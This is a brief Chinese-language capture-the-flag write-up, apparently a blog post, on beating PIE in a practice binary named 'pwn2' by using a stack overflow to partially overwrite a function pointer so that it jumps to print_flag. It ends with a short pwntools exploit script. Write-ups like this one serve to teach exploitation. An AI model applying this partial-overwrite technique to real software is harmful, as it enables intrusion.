pwn2

2019-03-08  本文已影响0人  n0va

先checksec,发现开启了PIE,第一次遇到PIE的题有点懵了,虽然知道低三位16进制是不变的可以利用,但还是折腾了好久

image.png

IDA同样可以看到一处很明显的栈溢出,但是因为地址随机化,我们无法知道print_flag函数的地址

image.png

进入select_func函数可以看到,输入的s赋值给dest,如果dest是"one"那么将v3指向one函数,而dest的初始值是指向two函数

image.png

可以看一下two函数跟print_flag函数的地址,都是6xx结尾

image.png image.png

所以我们可以只覆盖v3的低16位为'\xd8'就可以成功跳转到print_flag函数了
exp:

from pwn import *
p = process('./pwn2')
payload = 0x1e*'a' + '\xd8'
p.sendline(payload)
p.interactive()
上一篇下一篇

猜你喜欢

热点阅读